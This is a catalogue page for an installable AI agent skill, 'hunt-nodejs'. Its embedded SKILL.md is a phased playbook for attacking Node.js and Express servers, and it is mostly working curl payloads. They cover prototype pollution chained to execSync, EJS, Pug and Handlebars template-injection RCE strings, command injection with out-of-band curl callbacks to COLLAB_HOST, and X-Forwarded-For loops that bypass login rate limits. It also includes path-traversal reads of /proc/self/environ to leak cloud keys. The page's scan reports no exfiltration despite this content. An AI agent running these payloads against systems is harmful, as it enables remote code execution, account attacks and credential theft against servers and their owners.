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hunt-nodejs

Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/sel…

Install / Use

npx skills add elementalsouls/Claude-BugHunter --skill hunt-nodejs

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

94/100

Category

Design

Supported Platforms

Universal

Our assessment of hunt-nodejs

hunt-nodejs scores 94/100 on our quality scale, 30th of 200 Design skills we index (top 15%).

Its SKILL.md is 7.8 KB long, well organised into 41 sections with 8 code examples: a thorough specification that gives an agent plenty to work with.

With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 2 days ago, so hunt-nodejs is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.

Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

hunt-nodejs compared with similar skills

All 4 of these similar skills score higher than hunt-nodejs; compare them before choosing.

SkillScoreStarsUpdatedFormat
hunt-nodejs (this skill)by elementalsouls944.7k2d agoSKILL.md
algorithmic-artby anthropics100177.9k5d agoSKILL.md
pptxby anthropics100177.9k5d agoSKILL.md
designby nextlevelbuilder100130.2k7d agoSKILL.md
ui-ux-pro-maxby nextlevelbuilder100130.2k7d agoSKILL.md

Frequently asked questions

How do I install hunt-nodejs?
Run npx skills add elementalsouls/Claude-BugHunter --skill hunt-nodejs. The install tabs above show the steps for each supported agent.
Which AI agents does hunt-nodejs work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is hunt-nodejs safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is hunt-nodejs still maintained?
The repository was last updated 2 days ago, so hunt-nodejs is actively maintained.

name: hunt-nodejs description: Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa. sources: hackerone_public, snyk_research, portswigger_research report_count: 24

HUNT-NODEJS — Node.js Specific Vulnerabilities

Crown Jewel Targets

Prototype Pollution reaching a sink in Node.js backend = Critical RCE.

Highest-value chains:

  • Prototype Pollution → RCE — __proto__ injection via lodash.merge / Object.assign → polluted prototype reaches child_process.exec or vm.runInNewContext sink
  • Express trust proxy — app.set('trust proxy', true) without validation → attacker sets X-Forwarded-For to bypass IP allowlists or rate limits
  • EJS/Pug SSTI — template engine receives user input → {{= process.mainModule.require('child_process').execSync('id') }}
  • child_process injection — user input interpolated into shell command string → OS command injection
  • require() path traversal — attacker-controlled module path → load arbitrary file as JS

Attack Surface Signals

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

Phase 1 — Fingerprint

# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

Phase 2 — Prototype Pollution Detection

# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

Phase 3 — Prototype Pollution → RCE Chain

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation — check Interactsh for callback

Phase 4 — Express Trust Proxy Abuse

# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?

# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"action": "test"}'

# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
  -H "X-Forwarded-For: 10.0.0.1" \
  -H "X-Real-IP: 10.0.0.1"

# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
  curl -s https://$TARGET/api/login \
    -H "X-Forwarded-For: 1.2.3.$i" \
    -d '{"email":"admin@test.com","password":"wrong"}' \
    -o /dev/null -w "$i: %{http_code}\n"
done

Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)

# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= 7*7 %>"}'

# EJS RCE payload
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'

# Pug SSTI
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'

# Handlebars — prototype pollution via template
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'

Phase 6 — child_process Command Injection

# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan

# Basic injection test
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec \
  -H "Content-Type: application/json" \
  -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'

# OOB via DNS
curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"

Phase 7 — /proc/self/environ Exfil

# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"

# Also check:
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline"  # full command line
curl -s "https://$TARGET/api/file?path=/proc/self/cwd"       # working directory

Chain Table

| Node.js finding | Chain to | Impact | |----------------|----------|--------| | Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE | | Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass | | SSTI in template engine | OS command execution | Critical RCE | | child_process injection | id && curl COLLAB_HOST | Critical RCE | | /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |


Validation

✅ Prototype pollution: key appears in subsequent API responses without being sent ✅ RCE chain: OOB callback received OR id output in response ✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist

Severity:

  • Prototype pollution → RCE: Critical
  • SSTI → RCE: Critical
  • child_process injection: Critical
  • Trust proxy → rate limit bypass: Medium
  • /proc/self/environ exfil: High (if cloud keys present)

Related Skills

View on GitHub
GitHub Stars4.7k
CategoryDesign
Updated2d ago
Forks704

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions